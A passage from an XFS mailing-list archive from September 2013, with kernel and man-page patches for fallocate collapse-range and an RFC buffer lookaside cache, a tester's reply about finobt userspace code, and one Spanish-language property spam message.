[368..375]: extent +47: [376..383]: extent +48: [384..391]: extent +49: [392..399]: extent +50: [400..407]: extent +51: [408..415]: extent +52: [416..423]: extent +53: [424..431]: extent +54: [432..439]: extent +55: [440..447]: extent +56: [448..455]: extent +57: [456..463]: extent +58: [464..471]: extent +59: [472..479]: extent +60: [480..487]: extent +61: [488..495]: extent +62: [496..503]: extent +63: [504..511]: extent +64: [512..519]: extent +65: [520..527]: extent +66: [528..535]: extent +67: [536..543]: extent +68: [544..551]: extent +69: [552..559]: extent +70: [560..567]: extent +71: [568..575]: extent +72: [576..583]: extent +73: [584..591]: extent +74: [592..599]: extent +75: [600..607]: extent +76: [608..615]: extent +77: [616..623]: extent +78: [624..631]: extent +79: [632..639]: extent +unmount $SCRATCH_DEV... done +repair filesystem... done diff --git a/tests/shared/group b/tests/shared/group index 3a69294..80ff7ec 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -12,3 +12,4 @@ 298 auto trim 305 aio dangerous enospc rw stress 316 auto quick collapse +317 auto collapse -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:43:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3DE887F5D for ; Sun, 8 Sep 2013 08:43:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2DFF0304032 for ; Sun, 8 Sep 2013 06:43:17 -0700 (PDT) X-ASG-Debug-ID: 1378647795-04cbb02c3ae35390001-NocioJ Received: from mail-pb0-f51.google.com (mail-pb0-f51.google.com [209.85.160.51]) by cuda.sgi.com with ESMTP id QbrSmPzF37ggqnzt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:43:16 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.51 Received: by mail-pb0-f51.google.com with SMTP id jt11so5065119pbb.24 for ; Sun, 08 Sep 2013 06:43:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=nHncHT8I1mLtDeuBzBZmM/9dyYcFV9lUn12n+f6y0pc=; b=Y7Xfy/IUbLEpb0fbNgFF3iIhtSdXZ7Y5FxyL6+q7LHXI/heShYDa1TQzzD1BjleSYH Ufxp3xCDh+WqqGxliss/6ujyuCwktjOA1BF4lXQ1zsGqeaH8oxawe0WTkJxK3pGHN+ZO H5oQXfAYNpOb3FgcLxPL3g2J3bR49zk9D5Xx3dUOVTe5VIsD16gK5VWSodjp6FkvNGn0 3uNskztHEYFpWM/P1IPM5J8tYSMbRHy5fC/f3vkz8cvwRZr02gIK9iZHNJStQ/R2x9s7 auAWEaGSrJvLMzmBQIITfjr4PblKN6iI3s2qfhrt+1YdLjP6AOv3joTTJOM1WAs+xr+s u4hg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.14.3 with SMTP id l3mr1222375pac.162.1378647795410; Sun, 08 Sep 2013 06:43:15 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id sz3sm10139834pbc.5.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:43:15 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 7/7] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Sun, 8 Sep 2013 22:43:06 +0900 X-ASG-Orig-Subj: [PATCH v3 7/7] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1378647787-2802-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f51.google.com[209.85.160.51] X-Barracuda-Start-Time: 1378647796 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index f5c395d..b042c59 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -7,6 +7,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2013-09-01: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2013-06-10 "Linux" "Linux Programmer's Manual" .SH NAME @@ -109,6 +110,19 @@ does not change. Not all filesystems support .BR FALLOC_FL_PUNCH_HOLE ; if a filesystem doesn't support the operation, an error is returned. +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collapse space in the byte range starting at +.I offset +and continuing for +.I len +bytes, where the offset and len are aligned with block size of filesystem. +Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + .SH RETURN VALUE On success, .BR fallocate () @@ -139,7 +153,8 @@ was less than 0, or .\" See "Re: [PATCH] fallocate.2: add FALLOC_FL_PUNCH_HOLE flag definition" .\" 21 Sep 2012 .\" http://thread.gmane.org/gmane.linux.file-systems/48331/focus=1193526 -was less than or equal to 0. +was less than or equal to 0 or in case of FALLOC_FL_COLLAPSE_RANGE +offset and len are not aligned with file system's block size. .TP .B EIO An I/O error occurred while reading from or writing to a filesystem. -- 1.7.9.5 From mlsemon35@gmail.com Sun Sep 8 15:08:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B678B7F56 for ; Sun, 8 Sep 2013 15:08:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97D29304032 for ; Sun, 8 Sep 2013 13:08:04 -0700 (PDT) X-ASG-Debug-ID: 1378670883-04cbb02c3ce3d750001-NocioJ Received: from mail-qc0-f172.google.com (mail-qc0-f172.google.com [209.85.216.172]) by cuda.sgi.com with ESMTP id 0RECCh0j4d4Jr6fX (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 13:08:03 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.172 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] Received: by mail-qc0-f172.google.com with SMTP id l13so741552qcy.31 for ; Sun, 08 Sep 2013 13:08:03 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=6He75qolNIemuDw3TrSUF/CpWXLO9CDFka39PdSD+NA=; b=lw+ZlxDXJK6P1S8oTL1NduoC7VerwkoQo6bczUFQ+B416L2g3NPJHpVXindBUrvGHi eSFviiEa/xAHpAXMXPC7UAhpCxZx/+IzjtML2V0aT/Uy2+o18Ce80ssQjx+D/DXCHckD x05l1tVOZtmQaxBAMRamcoWponPO+qKXuYqUuQ/e2IlL0L2Gp7z0CEswGBE6wFlrhSsf OL+xTgRfE8hum6FUkaLgKT7rfp2Qhoj4jqPJ0QFtSp6MgWuhkFOSm6XPvKJ4pAjTcsJX HY7UIDClu3aDuufHnnLRANommJFzKT37Gh6gWeveM2XRePQSHuL0lNt6NLd1FkYJ2W4J Xl0g== MIME-Version: 1.0 X-Received: by 10.49.96.225 with SMTP id dv1mr5543873qeb.89.1378670883255; Sun, 08 Sep 2013 13:08:03 -0700 (PDT) Received: by 10.140.87.235 with HTTP; Sun, 8 Sep 2013 13:08:03 -0700 (PDT) In-Reply-To: <522B1C4F.7000404@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> <20130906002847.GR12779@dastard> <5229BEE6.3060407@redhat.com> <20130906212441.GB12541@dastard> <522B1C4F.7000404@redhat.com> Date: Sun, 8 Sep 2013 16:08:03 -0400 Message-ID: Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free From: "Michael L. Semon" X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free To: Brian Foster Cc: Dave Chinner , "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qc0-f172.google.com[209.85.216.172] X-Barracuda-Start-Time: 1378670883 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140453 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Sep 7, 2013 at 8:30 AM, Brian Foster wrote: > On 09/06/2013 05:24 PM, Dave Chinner wrote: >> On Fri, Sep 06, 2013 at 07:39:18AM -0400, Brian Foster wrote: >>> On 09/05/2013 08:28 PM, Dave Chinner wrote: >>>> On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: >>>>> On 09/04/2013 10:54 PM, Dave Chinner wrote: >>>>>> On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: >>> ... >>>>> > ... >>>> No worries. BTW, can you post your rudimentary userspace support so >>>> we can run tests that use this code, too? >>>> >>> >>> Sure. My xfsprogs branch currently is the application of a slightly >>> older version of this set (pre-cleanups I made to make this post-worthy) >>> with some hacks to make it apply/compile and a few other patches on top >>> of that for mkfs, xfs_db and xfs_repair to work through some basic >>> things I ran into when running xfstests. >>> >>> Would you prefer I drop the whole thing on the list? >> >> Drop it on the list, maybe just a as tarball rather than a patchset >> if it's not ready for review yet. >> > > Ok, attached. This applies on top of the following commit in the > xfsprogs tree: > > 982e5c7e xfs_db: add header to freesp -d output > > Use the following command to format a finobt enabled fs: > > mkfs.xfs -m crc=1,finobt=1 > > ... and otherwise there are a couple random fixes for xfs_db and xfs_repair. > > Brian OK, I gave it a try and messed it up. I have updated numbers that look a little better, and they'll be posted once I get to a Linux PC. My merge went badly because it went on top of Dave's latest work and Mark's v4 dirent work. It's like some of the features2 stuff takes one extra argument in places. Also, when patching some code, it looks like some constants have been updated to use cpu_to_be32(), and I don't know why they've been updated. So it's not a surprise that I can make a v4-finobt filesystem with -finobt=1, mount it, get all the v5 warnings from the kernel, but there's not enough v5 code in use to choke on 256-byte v4 inodes. Afterwards, `xfs_repair -n` suggests that it will correct some areas from each AG. It's also not a surprise that I don't know what issues are your fault, which ones are my fault, and which ones require Mark to update his v4-dirent patches. Therefore, there's no conclusion to be placed on your userspace code yet. It's an RFC, anyway... My "user commands" benchmark succeeded for the 4 XFS filesystem variants considered previously. More later... Michael From ventas.scz@onsite.com.bo Sun Sep 8 16:32:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO,HTML_MESSAGE,SUBJ_ALL_CAPS,UPPERCASE_50_75 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6EA0C7F50 for ; Sun, 8 Sep 2013 16:32:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4BA828F8035 for ; Sun, 8 Sep 2013 14:32:46 -0700 (PDT) X-ASG-Debug-ID: 1378675960-04cbb02c3ce3ebb0001-w1Z2WR Received: from OSAD01.onsite.com.bo (osad01.onsite.com.bo [190.186.111.118]) by cuda.sgi.com with ESMTP id 6Y4LY71BnNOrdHct for ; Sun, 08 Sep 2013 14:32:41 -0700 (PDT) X-Barracuda-Envelope-From: ventas.scz@onsite.com.bo X-Barracuda-Apparent-Source-IP: 190.186.111.118 Received: from osad01 ([190.186.111.118]) by OSAD01.onsite.com.bo with Microsoft SMTPSVC(6.0.3790.4675); Sun, 8 Sep 2013 17:27:42 -0400 From: "PASELA BIEN TODO EL FIN DE SEMANA" Subject: MINI QUINTA EN VENTA EN EL TORNO To: "linux-xfs" X-ASG-Orig-Subj: MINI QUINTA EN VENTA EN EL TORNO Content-Type: multipart/alternative; boundary="J=_P0styscuqOTv3eTyLJ9X37HSPeLjE9h" MIME-Version: 1.0 Reply-To: "ventas.scz@hotmail.com" Organization: ONSITE Date: Sun, 8 Sep 2013 17:27:42 -0400 Message-ID: X-OriginalArrivalTime: 08 Sep 2013 21:27:42.0734 (UTC) FILETIME=[409F1AE0:01CEACDA] X-Barracuda-Connect: osad01.onsite.com.bo[190.186.111.118] X-Barracuda-Start-Time: 1378675961 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.31 X-Barracuda-Spam-Status: No, SCORE=2.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.81 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase This is a multi-part message in MIME format --J=_P0styscuqOTv3eTyLJ9X37HSPeLjE9h Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline VENDO 1 MINI QUINTA DE 1000 mts (20*50) EN SANTA CRUZ - BOLIVIA por el TORNO entrando 2 KM TIENE CASA DE 2 PISOS DE PURA MADERA CURUPA=C3=9A UNA CHURRASQUERITA CON SU CABA=C3=91A REDONDA LUZ Y AGUA TODO EL TERRENO TIENE PASTO TIENE ARBOLES QUE YA DAN FRUTO 16 DE MANDARINA 8 DE NARANAJA 2 PALTA 1 MANGA ROSA 1 LIMON IDEAL PARA SALIR Y DESCANZAR EN FAMILIA TODO EL FIN DE SEMANA Mas informacion al Telef. 71331700 o escribanos a: marco.padilla@hotmail.com --J=_P0styscuqOTv3eTyLJ9X37HSPeLjE9h Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

VENDO 1 MINI QUINTA DE 1000 mts = (20*50)

EN SANTA CRUZ - BOLIVIA

por el TORNO entrando 2 KM

=

TIENE CASA DE 2 PISOS DE PURA MADERA = CURUPA=C3=9A

UNA CHURRASQUERITA CON SU CABA=C3=91A= REDONDA

LUZ Y AGUA

TODO EL TERRENO TIENE PASTO

TIENE ARBOLES QUE YA DAN FRUTO=

16 DE MANDARINA

8 DE NARANAJA

2 PALTA

1 MANGA ROSA

1 LIMON

IDEAL PARA SALIR Y DESCANZAR EN

FAMILIA TODO EL FIN DE SEMANA<= /P>

Mas informacion al Telef. 71331700

o escribanos a: marco.padilla@hotmail.com

 

 

--J=_P0styscuqOTv3eTyLJ9X37HSPeLjE9h-- From dave@fromorbit.com Sun Sep 8 20:33:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0BCDB7F55 for ; Sun, 8 Sep 2013 20:33:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ACDAAAC003 for ; Sun, 8 Sep 2013 18:33:25 -0700 (PDT) X-ASG-Debug-ID: 1378690399-04bdf02f22e81d50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id l9pUglKwOzaqrijS for ; Sun, 08 Sep 2013 18:33:20 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4HAGokLVJ5LJ62/2dsb2JhbABSCIMHryWVGhd0giUBLS87GGoDNIgBpXufdo5DhWEDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Sep 2013 11:03:18 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VIqLs-0001ZD-38 for xfs@oss.sgi.com; Mon, 09 Sep 2013 11:33:16 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VIqLs-00047I-2B for xfs@oss.sgi.com; Mon, 09 Sep 2013 11:33:16 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find Date: Mon, 9 Sep 2013 11:33:16 +1000 X-ASG-Orig-Subj: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find Message-Id: <1378690396-15792-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378690400 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140462 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner CPU overhead of buffer lookups dominate most metadata intensive workloads. The thing is, most such workloads are hitting a relatively small number of buffers repeatedly, and so caching recently hit buffers is a good idea. Add a hashed lookaside buffer that records the recent buffer lookup successes and is searched first before doing a rb-tree lookup. If we get a hit, we avoid the expensive rbtree lookup and greatly reduce the overhead of the lookup. If we get a cache miss, then we've added an extra CPU cacheline miss into the lookup. In cold cache lookup cases, this extra cache line miss is irrelevant as we need to read or allocate the buffer anyway, and the etup time for that dwarfs the cost of the miss. In the case that we miss the lookaside cache and find the buffer in the rbtree, the cache line miss overhead will be noticable only if we don't see any lookaside cache misses at all in subsequent lookups. We don't tend to do random cache walks in perfomrance critical paths, so the net result is that the extra CPU cacheline miss will be lost in the reduction of misses due to cache hits. This hit/miss case is what we'll see with file removal operations. A simple prime number hash was chosen for the cache (i.e. modulo 37) because it is fast, simple, and works really well with block numbers that tend to be aligned to a multiple of 8. No attempt to optimise this has been made - it's just a number I picked out of thin air given that most repetitive workloads have a working set of buffers that is significantly smaller than 37 per AG and should hold most of the AG header buffers permanently in the lookaside cache. The result is that on a typical concurrent create fsmark benchmark I run, the profile of CPU usage went from having _xfs_buf_find() as teh number one CPU consumer: 6.55% [kernel] [k] _xfs_buf_find 4.94% [kernel] [k] xfs_dir3_free_hdr_from_disk 4.77% [kernel] [k] native_read_tsc 4.67% [kernel] [k] __ticket_spin_trylock to this, at about #8 and #30 in the profile: 2.56% [kernel] [k] _xfs_buf_find .... 0.55% [kernel] [k] _xfs_buf_find_lookaside So the lookaside cache has halved the CPU overhead of looking up buffers for this workload. On a buffer hit/miss workload like the followup concurrent removes, _xfs_buf_find() went from #1 in the profile again at: 9.13% [kernel] [k] _xfs_buf_find to #6 and #23 repesctively: 2.82% [kernel] [k] _xfs_buf_find .... 0.78% [kernel] [k] _xfs_buf_find_lookaside Which is also a significant reduction in CPU overhead for buffer lookups, and shows the benefit on mixed cold/hot cache lookup workloads. Performance differential, as measured with -m crc=1,finobt=1: create remove time rate time xfsdev 4m16s 221k/s 6m18s patched 3m59s 236k/s 5m56s So less CPU time spent on lookups translates directly to better metadata performance. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_buf.h | 6 ++++++ fs/xfs/xfs_mount.h | 1 + 3 files changed, 56 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index ee85f29..e382b80 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -470,6 +470,46 @@ _xfs_buf_map_pages( */ /* + * Lookaside cache check + */ +STATIC struct xfs_buf * +_xfs_buf_find_lookaside( + struct xfs_perag *pag, + xfs_daddr_t bn, + int numblks) +{ + struct xfs_buf *bp; + + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + bp = pag->pag_buf_cache[XBF_HASH(bn)]; + if (!bp) + return NULL; + if (bp->b_bn != bn || bp->b_length != numblks) + return NULL; + return bp; +} + +static __inline__ void +_xfs_buf_find_lookaside_insert( + struct xfs_perag *pag, + struct xfs_buf *bp, + xfs_daddr_t bn) +{ + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + pag->pag_buf_cache[XBF_HASH(bn)] = bp; +} + +static __inline__ void +_xfs_buf_find_lookaside_remove( + struct xfs_perag *pag, + struct xfs_buf *bp) +{ + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + if (pag->pag_buf_cache[XBF_HASH(bp->b_bn)] == bp) + pag->pag_buf_cache[XBF_HASH(bp->b_bn)] = NULL; +} + +/* * Look up, and creates if absent, a lockable buffer for * a given range of an inode. The buffer is returned * locked. No I/O is implied by this call. @@ -522,8 +562,12 @@ _xfs_buf_find( pag = xfs_perag_get(btp->bt_mount, xfs_daddr_to_agno(btp->bt_mount, blkno)); - /* walk tree */ + /* First check the lookaside cache for a hit, otherwise walk the tree */ spin_lock(&pag->pag_buf_lock); + bp = _xfs_buf_find_lookaside(pag, blkno, numblks); + if (bp) + goto found; + rbp = &pag->pag_buf_tree.rb_node; parent = NULL; bp = NULL; @@ -549,7 +593,7 @@ _xfs_buf_find( rbp = &(*rbp)->rb_right; continue; } - atomic_inc(&bp->b_hold); + _xfs_buf_find_lookaside_insert(pag, bp, blkno); goto found; } } @@ -560,6 +604,7 @@ _xfs_buf_find( rb_insert_color(&new_bp->b_rbnode, &pag->pag_buf_tree); /* the buffer keeps the perag reference until it is freed */ new_bp->b_pag = pag; + _xfs_buf_find_lookaside_insert(pag, bp, blkno); spin_unlock(&pag->pag_buf_lock); } else { XFS_STATS_INC(xb_miss_locked); @@ -569,6 +614,7 @@ _xfs_buf_find( return new_bp; found: + atomic_inc(&bp->b_hold); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); @@ -924,6 +970,7 @@ xfs_buf_rele( } else { xfs_buf_lru_del(bp); ASSERT(!(bp->b_flags & _XBF_DELWRI_Q)); + _xfs_buf_find_lookaside_remove(pag, bp); rb_erase(&bp->b_rbnode, &pag->pag_buf_tree); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 433a12e..658f746 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -166,6 +166,12 @@ typedef struct xfs_buf { #endif } xfs_buf_t; +/* + * lookaside cache definitions + */ +#define XBF_HASH_SIZE 37 +#define XBF_HASH(bn) (bn % XBF_HASH_SIZE) + /* Finding and Reading Buffers */ struct xfs_buf *_xfs_buf_find(struct xfs_buftarg *target, struct xfs_buf_map *map, int nmaps, diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 1fa0584..b8bfabc 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -366,6 +366,7 @@ typedef struct xfs_perag { /* buffer cache index */ spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ struct rb_root pag_buf_tree; /* ordered tree of active buffers */ + struct xfs_buf *pag_buf_cache[XBF_HASH_SIZE]; /* for rcu-safe freeing */ struct rcu_head rcu_head; -- 1.8.3.2 From mlsemon35@gmail.com Sun Sep 8 21:35:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D2EEE7F59 for ; Sun, 8 Sep 2013 21:35:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54125AC002 for ; Sun, 8 Sep 2013 19:35:06 -0700 (PDT) X-ASG-Debug-ID: 1378694104-04cbb02c3ae43ff0001-NocioJ Received: from mail-ye0-f178.google.com (mail-ye0-f178.google.com [209.85.213.178]) by cuda.sgi.com with ESMTP id FWwrLHNqpl2zTBrt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 19:35:04 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.178 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.178] Received: by mail-ye0-f178.google.com with SMTP id m5so1843158yen.23 for ; Sun, 08 Sep 2013 19:35:04 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=EprX4UdvU/nU77k8KM7fewWzxJCuc2wz5uMT0DpIKxs=; b=BU/Y/5s5rGTvvghzBfUVW8/ufDn9wbIJiXdVOgLZW724G1Jx2CSnp8081nV1gw89H0 0NJaeCuR2mpbnn8rzZtnDYBUskBwwwDJWNOT5OlFkqPYHIhgTzyTSws95z93JyuzmzMj xZ2MA3ChwsBan3NZJrZC7G84OMH/RQgkwJph9yryTUBD2PP5Dq1JcgOgUMJLO8z35LBM xqw9ldFqL8l44CI080ScFrmUyXWHLVR7z4tSawc3DnaOjkAbZ1N9mLWQHzkUzdaOznJX 